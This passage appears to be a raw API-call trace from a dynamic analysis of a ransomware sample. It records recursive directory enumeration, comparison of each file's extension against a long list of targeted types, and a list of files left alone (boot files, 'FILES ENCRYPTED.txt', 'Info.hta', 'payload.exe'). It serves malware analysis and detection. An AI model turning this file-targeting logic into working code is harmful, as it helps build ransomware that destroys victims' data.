ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x628500 [0057.992] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.992] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0057.992] FindClose (in: hFindFile=0x628500 | out: hFindFile=0x628500) returned 1 [0057.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3790268 | out: hHeap=0x5d0000) returned 1 [0057.992] FindNextFileW (in: hFindFile=0x65e210, lpFindFileData=0x2f3fd00 | out: lpFindFileData=0x2f3fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0057.993] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="?a\x16")) returned 0xffffffff [0057.993] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3790268 | out: hHeap=0x5d0000) returned 1 [0057.993] FindNextFileW (in: hFindFile=0x65e210, lpFindFileData=0x2f3fd00 | out: lpFindFileData=0x2f3fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0057.993] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x628500 [0057.994] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.994] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0057.994] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0058.602] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.634] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0058.648] FindNextFileW (in: hFindFile=0x62a590, lpFindFileData=0x2f3f58c | out: lpFindFileData=0x2f3f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.648] FindNextFileW (in: hFindFile=0x62a590, lpFindFileData=0x2f3f58c | out: lpFindFileData=0x2f3f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0062.945] FindClose (in: hFindFile=0x6c3b30 | out: hFindFile=0x6c3b30) returned 1 [0063.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37b0278 | out: hHeap=0x5d0000) returned 1 [0063.101] FindNextFileW (in: hFindFile=0x6c3ab0, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0063.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2f3f1f4, cFileName=".", cAlternateFileName="")) returned 0x6c3b70 [0063.104] FindNextFileW (in: hFindFile=0x6c3b70, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2f3f1f4, cFileName="..", cAlternateFileName="")) returned 1 [0063.104] FindNextFileW (in: hFindFile=0x6c3b70, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x2f3f1f4, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c39f0 [0066.469] FindNextFileW (in: hFindFile=0x6c39f0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.469] FindNextFileW (in: hFindFile=0x6c39f0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0066.469] lstrlenW (lpString="J0143743.GIF") returned 12 [0066.469] lstrlenW (lpString=".1cd") returned 4 [0066.469] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.469] lstrlenW (lpString=".3ds") returned 4 [0066.469] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0066.469] lstrlenW (lpString=".3fr") returned 4 [0066.469] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0066.469] lstrlenW (lpString=".3g2") returned 4 [0066.469] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0066.469] lstrlenW (lpString=".3gp") returned 4 [0066.469] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0066.469] lstrlenW (lpString=".7z") returned 3 [0066.469] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.469] lstrlenW (lpString=".accda") returned 6 [0066.469] lstrcmpiW (lpString1=".accda", lpString2="43.GIF") returned -1 [0066.469] lstrlenW (lpString=".accdb") returned 6 [0066.469] lstrcmpiW (lpString1=".accdb", lpString2="43.GIF") returned -1 [0066.469] lstrlenW (lpString=".accdc") returned 6 [0066.469] lstrcmpiW (lpString1=".accdc", lpString2="43.GIF") returned -1 [0066.469] lstrlenW (lpString=".accde") returned 6 [0066.469] lstrcmpiW (lpString1=".accde", lpString2="43.GIF") returned -1 [0066.469] lstrlenW (lpString=".accdt") returned 6 [0066.470] lstrcmpiW (lpString1=".accdt", lpString2="43.GIF") returned -1 [0066.470] lstrlenW (lpString=".accdw") returned 6 [0066.470] lstrcmpiW (lpString1=".accdw", lpString2="43.GIF") returned -1 [0066.470] lstrlenW (lpString=".adb") returned 4 [0066.470] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0066.470] lstrlenW (lpString=".adp") returned 4 [0066.472] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0066.472] lstrlenW (lpString=".ai") returned 3 [0066.472] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0066.472] lstrlenW (lpString=".ai3") returned 4 [0066.472] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0066.472] lstrlenW (lpString=".ai4") returned 4 [0066.472] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0066.477] lstrlenW (lpString=".ai5") returned 4 [0066.477] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0066.477] lstrlenW (lpString=".ai6") returned 4 [0066.477] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0066.477] lstrlenW (lpString=".ai7") returned 4 [0066.477] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".ai8") returned 4 [0066.478] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".anim") returned 5 [0066.478] lstrcmpiW (lpString1=".anim", lpString2="3.GIF") returned -1 [0066.478] lstrlenW (lpString=".arw") returned 4 [0066.478] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".as") returned 3 [0066.478] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0066.478] lstrlenW (lpString=".asa") returned 4 [0066.478] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".asc") returned 4 [0066.478] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".ascx") returned 5 [0066.478] lstrcmpiW (lpString1=".ascx", lpString2="3.GIF") returned -1 [0066.478] lstrlenW (lpString=".asm") returned 4 [0066.478] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".asmx") returned 5 [0066.478] lstrcmpiW (lpString1=".asmx", lpString2="3.GIF") returned -1 [0066.478] lstrlenW (lpString=".asp") returned 4 [0066.478] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".aspx") returned 5 [0066.478] lstrcmpiW (lpString1=".aspx", lpString2="3.GIF") returned -1 [0066.478] lstrlenW (lpString=".asr") returned 4 [0066.478] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".asx") returned 4 [0066.478] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0066.478] lstrlenW (lpString=".avi") returned 4 [0066.478] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".avs") returned 4 [0066.479] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".backup") returned 7 [0066.479] lstrcmpiW (lpString1=".backup", lpString2="743.GIF") returned -1 [0066.479] lstrlenW (lpString=".bak") returned 4 [0066.479] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".bay") returned 4 [0066.479] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".bd") returned 3 [0066.479] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0066.479] lstrlenW (lpString=".bin") returned 4 [0066.479] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".bmp") returned 4 [0066.479] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".bz2") returned 4 [0066.479] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".c") returned 2 [0066.479] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0066.479] lstrlenW (lpString=".cdr") returned 4 [0066.479] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".cer") returned 4 [0066.479] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".cf") returned 3 [0066.479] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0066.479] lstrlenW (lpString=".cfc") returned 4 [0066.479] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0066.479] lstrlenW (lpString=".cfm") returned 4 [0066.479] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".cfml") returned 5 [0066.480] lstrcmpiW (lpString1=".cfml", lpString2="3.GIF") returned -1 [0066.480] lstrlenW (lpString=".cfu") returned 4 [0066.480] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".chm") returned 4 [0066.480] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".cin") returned 4 [0066.480] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".class") returned 6 [0066.480] lstrcmpiW (lpString1=".class", lpString2="43.GIF") returned -1 [0066.480] lstrlenW (lpString=".clx") returned 4 [0066.480] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".config") returned 7 [0066.480] lstrcmpiW (lpString1=".config", lpString2="743.GIF") returned -1 [0066.480] lstrlenW (lpString=".cpp") returned 4 [0066.480] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".cr2") returned 4 [0066.480] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".crt") returned 4 [0066.480] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".crw") returned 4 [0066.480] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".cs") returned 3 [0066.480] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0066.480] lstrlenW (lpString=".css") returned 4 [0066.480] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0066.480] lstrlenW (lpString=".csv") returned 4 [0066.480] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".cub") returned 4 [0066.481] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dae") returned 4 [0066.481] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dat") returned 4 [0066.481] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".db") returned 3 [0066.481] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0066.481] lstrlenW (lpString=".dbf") returned 4 [0066.481] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dbx") returned 4 [0066.481] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dc3") returned 4 [0066.481] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dcm") returned 4 [0066.481] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dcr") returned 4 [0066.481] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".der") returned 4 [0066.481] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dib") returned 4 [0066.481] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dic") returned 4 [0066.481] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0066.481] lstrlenW (lpString=".dif") returned 4 [0066.482] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0066.482] lstrlenW (lpString=".divx") returned 5 [0066.482] lstrcmpiW (lpString1=".divx", lpString2="3.GIF") returned -1 [0066.482] lstrlenW (lpString=".djvu") returned 5 [0066.482] lstrcmpiW (lpString1=".djvu", lpString2="3.GIF") returned -1 [0066.495] lstrlenW (lpString=".dng") returned 4 [0066.495] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0066.495] lstrlenW (lpString=".doc") returned 4 [0066.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.496] lstrlenW (lpString=".docm") returned 5 [0066.496] lstrcmpiW (lpString1=".docm", lpString2="3.GIF") returned -1 [0066.496] lstrlenW (lpString=".docx") returned 5 [0066.496] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0066.501] lstrlenW (lpString=".dot") returned 4 [0066.501] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0066.501] lstrlenW (lpString=".dotm") returned 5 [0066.501] lstrcmpiW (lpString1=".dotm", lpString2="3.GIF") returned -1 [0066.501] lstrlenW (lpString=".dotx") returned 5 [0066.502] lstrcmpiW (lpString1=".dotx", lpString2="3.GIF") returned -1 [0066.502] lstrlenW (lpString=".dpx") returned 4 [0066.502] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0066.502] lstrlenW (lpString=".dqy") returned 4 [0066.502] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0066.506] lstrlenW (lpString=".dsn") returned 4 [0066.506] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0066.506] lstrlenW (lpString=".dt") returned 3 [0066.506] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0066.509] lstrlenW (lpString=".dtd") returned 4 [0066.509] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0066.509] lstrlenW (lpString=".dwg") returned 4 [0066.509] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0066.509] lstrlenW (lpString=".dwt") returned 4 [0066.509] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0066.509] lstrlenW (lpString=".dx") returned 3 [0066.509] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0066.509] lstrlenW (lpString=".dxf") returned 4 [0066.509] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0066.509] lstrlenW (lpString=".edml") returned 5 [0066.509] lstrcmpiW (lpString1=".edml", lpString2="3.GIF") returned -1 [0066.509] lstrlenW (lpString=".efd") returned 4 [0066.509] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".elf") returned 4 [0066.510] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".emf") returned 4 [0066.510] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".emz") returned 4 [0066.510] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".epf") returned 4 [0066.510] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".eps") returned 4 [0066.510] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".epsf") returned 5 [0066.510] lstrcmpiW (lpString1=".epsf", lpString2="3.GIF") returned -1 [0066.510] lstrlenW (lpString=".epsp") returned 5 [0066.510] lstrcmpiW (lpString1=".epsp", lpString2="3.GIF") returned -1 [0066.510] lstrlenW (lpString=".erf") returned 4 [0066.510] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".exr") returned 4 [0066.510] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".f4v") returned 4 [0066.510] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".fido") returned 5 [0066.510] lstrcmpiW (lpString1=".fido", lpString2="3.GIF") returned -1 [0066.510] lstrlenW (lpString=".flm") returned 4 [0066.510] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".flv") returned 4 [0066.510] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".frm") returned 4 [0066.510] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0066.510] lstrlenW (lpString=".fxg") returned 4 [0066.511] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0066.511] lstrlenW (lpString=".geo") returned 4 [0066.511] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0066.511] lstrlenW (lpString=".gif") returned 4 [0066.511] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0066.511] lstrlenW (lpString="J0143743.GIF") returned 12 [0066.511] lstrlenW (lpString=".PPHL") returned 5 [0066.511] lstrcmpiW (lpString1=".PPHL", lpString2="3.GIF") returned -1 [0066.511] lstrlenW (lpString="J0143743.GIF") returned 12 [0066.511] lstrcmpiW (lpString1="boot.ini", lpString2="J0143743.GIF") returned -1 [0066.511] lstrcmpiW (lpString1="bootfont.bin", lpString2="J0143743.GIF") returned -1 [0066.511] lstrcmpiW (lpString1="ntldr", lpString2="J0143743.GIF") returned 1 [0066.511] lstrcmpiW (lpString1="ntdetect.com", lpString2="J0143743.GIF") returned 1 [0066.511] lstrcmpiW (lpString1="io.sys", lpString2="J0143743.GIF") returned -1 [0066.511] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="J0143743.GIF") returned -1 [0066.511] lstrcmpiW (lpString1="Info.hta", lpString2="J0143743.GIF") returned -1 [0066.511] lstrcmpiW (lpString1="payload.exe", lpString2="J0143743.GIF") returned 1 [0066.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned 76 [0066.511] FindNextFileW (in: hFindFile=0x6c39f0, lpFindFileData=0x2f3f094 | out: 